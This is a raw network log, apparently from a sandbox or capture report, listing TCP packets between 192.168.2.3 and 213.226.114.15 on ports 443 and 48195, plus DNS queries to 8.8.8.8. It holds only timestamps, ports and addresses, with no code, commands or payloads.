Jun 16, 2022 20:32:39.613028049 CEST	48195	49901	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.638854027 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.638886929 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.638957977 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.638974905 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.638993979 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.639055014 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.642636061 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.642669916 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.642793894 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.642818928 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.642833948 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.643070936 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.650048971 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.650163889 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.650194883 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.650218010 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.650258064 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.650279999 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.651041031 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.651098967 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.651148081 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.651160955 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.651177883 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.651212931 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.653166056 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.653194904 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.653274059 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.653287888 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.653332949 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.653342962 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.654537916 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.654567957 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.654709101 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.654726982 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.654738903 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.654782057 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.656049013 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.656080008 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.656155109 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.656164885 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.656179905 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.656433105 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.663753986 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.663796902 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.663837910 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.663849115 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.663867950 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.663933039 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.698369026 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.698400974 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.698477030 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.698496103 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.698513031 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.698553085 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.699664116 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.699732065 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.699737072 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.699790001 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.733870983 CEST	48195	49901	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.733948946 CEST	49901	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.733988047 CEST	49901	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.734855890 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.734869957 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.734939098 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.795898914 CEST	48195	49901	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802570105 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802589893 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802613020 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802629948 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802697897 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802712917 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802746058 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802757025 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802776098 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802787066 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802794933 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802820921 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802865028 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802882910 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802896023 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802917004 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802933931 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802964926 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.802995920 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.802997112 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803010941 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803023100 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803092003 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803106070 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803145885 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803158998 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803184032 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803201914 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803227901 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803245068 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803266048 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803271055 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803328037 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803369045 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803381920 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803422928 CEST	443	49900	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.803435087 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.803483009 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.910485983 CEST	49902	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.973280907 CEST	48195	49902	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:39.973402977 CEST	49902	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:39.983103037 CEST	49902	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.088666916 CEST	48195	49902	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.218674898 CEST	48195	49902	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.219207048 CEST	49902	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.219317913 CEST	49902	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.279870033 CEST	48195	49902	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.390192032 CEST	49903	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.451136112 CEST	48195	49903	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.451306105 CEST	49903	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.452922106 CEST	49903	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.555969000 CEST	48195	49903	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.685600042 CEST	48195	49903	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.685615063 CEST	48195	49903	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.685658932 CEST	49903	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.685740948 CEST	49903	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.745918036 CEST	48195	49903	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.869674921 CEST	49904	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.929497957 CEST	48195	49904	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:40.929615021 CEST	49904	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:40.929761887 CEST	49904	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.031244040 CEST	48195	49904	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.149472952 CEST	48195	49904	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.149590015 CEST	49904	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.149633884 CEST	49904	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.208882093 CEST	48195	49904	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.317529917 CEST	49905	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.378190994 CEST	48195	49905	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.378294945 CEST	49905	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.378623009 CEST	49905	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.482868910 CEST	48195	49905	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.611398935 CEST	48195	49905	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.611449003 CEST	48195	49905	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.611541033 CEST	49905	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.611591101 CEST	49905	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.672266960 CEST	48195	49905	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.785785913 CEST	49906	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.845796108 CEST	48195	49906	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:41.845941067 CEST	49906	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.848130941 CEST	49906	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:41.950911999 CEST	48195	49906	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.074858904 CEST	48195	49906	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.075148106 CEST	49906	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.075556040 CEST	49906	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.136018991 CEST	48195	49906	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.279391050 CEST	49907	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.339493036 CEST	48195	49907	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.339632988 CEST	49907	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.339787006 CEST	49907	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.442609072 CEST	48195	49907	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.556560993 CEST	48195	49907	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.556833982 CEST	49907	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.556873083 CEST	49907	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.616766930 CEST	48195	49907	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.741138935 CEST	49908	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.801255941 CEST	48195	49908	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:42.801425934 CEST	49908	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.801913977 CEST	49908	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:42.903624058 CEST	48195	49908	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.009428978 CEST	48195	49908	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.009463072 CEST	48195	49908	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.009622097 CEST	49908	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.009666920 CEST	49908	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.069509029 CEST	48195	49908	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.206132889 CEST	49909	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.265183926 CEST	48195	49909	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.265547037 CEST	49909	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.265769958 CEST	49909	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.366698027 CEST	48195	49909	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.406546116 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.487049103 CEST	48195	49909	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.487201929 CEST	49909	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.487320900 CEST	49909	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.546268940 CEST	48195	49909	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.654524088 CEST	49910	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.716830969 CEST	48195	49910	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.717324018 CEST	49910	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.717768908 CEST	49910	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.820878029 CEST	48195	49910	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.934223890 CEST	48195	49910	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:43.934331894 CEST	49910	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.935590029 CEST	49910	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:43.998172045 CEST	48195	49910	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.127173901 CEST	49911	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.189316988 CEST	48195	49911	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.191832066 CEST	49911	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.192493916 CEST	49911	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.297122955 CEST	48195	49911	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.415484905 CEST	49900	443	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.421416998 CEST	48195	49911	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.421456099 CEST	48195	49911	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.421652079 CEST	49911	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.421670914 CEST	49911	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.484396935 CEST	48195	49911	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.595634937 CEST	49912	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.655230045 CEST	48195	49912	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.655394077 CEST	49912	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.655579090 CEST	49912	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.755248070 CEST	48195	49912	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.871180058 CEST	48195	49912	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:44.871304035 CEST	49912	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.871350050 CEST	49912	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:44.930552959 CEST	48195	49912	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.057234049 CEST	49913	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.118033886 CEST	48195	49913	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.118259907 CEST	49913	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.118511915 CEST	49913	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.219758034 CEST	48195	49913	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.352816105 CEST	48195	49913	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.352865934 CEST	48195	49913	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.352984905 CEST	49913	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.353007078 CEST	49913	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.413184881 CEST	48195	49913	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.531569004 CEST	49914	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.592905045 CEST	48195	49914	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.595719099 CEST	49914	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.598861933 CEST	49914	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.704080105 CEST	48195	49914	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.816725016 CEST	48195	49914	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.816768885 CEST	48195	49914	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.816867113 CEST	49914	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.818203926 CEST	49914	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:45.880204916 CEST	48195	49914	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:45.965944052 CEST	49915	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.027909040 CEST	48195	49915	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.028207064 CEST	49915	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.028307915 CEST	49915	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.133848906 CEST	48195	49915	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.249480009 CEST	48195	49915	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.250041962 CEST	49915	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.251358986 CEST	49915	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.311400890 CEST	48195	49915	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.409277916 CEST	49916	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.469752073 CEST	48195	49916	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.469862938 CEST	49916	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.470175982 CEST	49916	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.571286917 CEST	48195	49916	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.699764967 CEST	48195	49916	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.699896097 CEST	49916	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.699980974 CEST	49916	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.760016918 CEST	48195	49916	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.876323938 CEST	49917	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.938704014 CEST	48195	49917	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:46.938832045 CEST	49917	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:46.938930988 CEST	49917	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:47.045152903 CEST	48195	49917	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:47.172858953 CEST	48195	49917	213.226.114.15	192.168.2.3
Jun 16, 2022 20:32:47.175884008 CEST	49917	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:47.175926924 CEST	49917	48195	192.168.2.3	213.226.114.15
Jun 16, 2022 20:32:47.238444090 CEST	48195	49917	213.226.114.15	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 16, 2022 20:31:42.005754948 CEST	63548	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:31:42.023585081 CEST	53	63548	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:07.821650028 CEST	52427	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:07.929117918 CEST	53	52427	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:08.550548077 CEST	62724	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:08.656764984 CEST	53	62724	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:09.639467955 CEST	64941	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:09.748635054 CEST	53	64941	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:11.489603043 CEST	55403	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:11.507345915 CEST	53	55403	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:11.989011049 CEST	54960	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:12.008183956 CEST	53	54960	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:12.459593058 CEST	64624	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:12.772579908 CEST	53	64624	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:13.274610043 CEST	64412	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:13.293843985 CEST	53	64412	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:13.736345053 CEST	51779	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:13.753376961 CEST	53	51779	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:14.199156046 CEST	50608	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:14.220669985 CEST	53	50608	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:14.650424957 CEST	54205	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:14.670475960 CEST	53	54205	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:15.096437931 CEST	62756	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:15.115787029 CEST	53	62756	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:15.540630102 CEST	58497	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:15.560045958 CEST	53	58497	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:15.996021986 CEST	62701	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:16.281759024 CEST	53	62701	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:16.762597084 CEST	53524	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:16.782018900 CEST	53	53524	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:17.232001066 CEST	58561	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:17.249205112 CEST	53	58561	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:17.695430994 CEST	61555	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:17.713289976 CEST	53	61555	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:18.129087925 CEST	64433	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:18.146763086 CEST	53	64433	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:18.589354038 CEST	62547	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:18.606777906 CEST	53	62547	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:19.056585073 CEST	54096	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:19.163522005 CEST	53	54096	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:19.631772995 CEST	57829	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:19.651113033 CEST	53	57829	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:20.131308079 CEST	63326	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:20.148128986 CEST	53	63326	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:20.586589098 CEST	60110	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:20.605931997 CEST	53	60110	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:21.055042028 CEST	49230	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:21.074322939 CEST	53	49230	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:21.505682945 CEST	57442	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:21.525166988 CEST	53	57442	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:21.971693039 CEST	51557	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:21.990945101 CEST	53	51557	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:22.476825953 CEST	65334	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:22.496237040 CEST	53	65334	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:22.953468084 CEST	52487	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:22.970168114 CEST	53	52487	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:23.437097073 CEST	51994	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:23.454433918 CEST	53	51994	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:23.896457911 CEST	51658	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:23.914479017 CEST	53	51658	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:24.354441881 CEST	58950	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:24.373804092 CEST	53	58950	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:24.779694080 CEST	53883	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:24.799053907 CEST	53	53883	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:25.236903906 CEST	59065	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:25.253770113 CEST	53	59065	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:25.698645115 CEST	55686	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:25.717938900 CEST	53	55686	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:26.143413067 CEST	64589	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:26.162705898 CEST	53	64589	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:26.729476929 CEST	64934	53	192.168.2.3	8.8.8.8
Jun 16, 2022 20:32:26.748861074 CEST	53	64934	8.8.8.8	192.168.2.3
Jun 16, 2022 20:32:27.413137913 CEST	55795	53	192.168.2.3	8.8.8.8
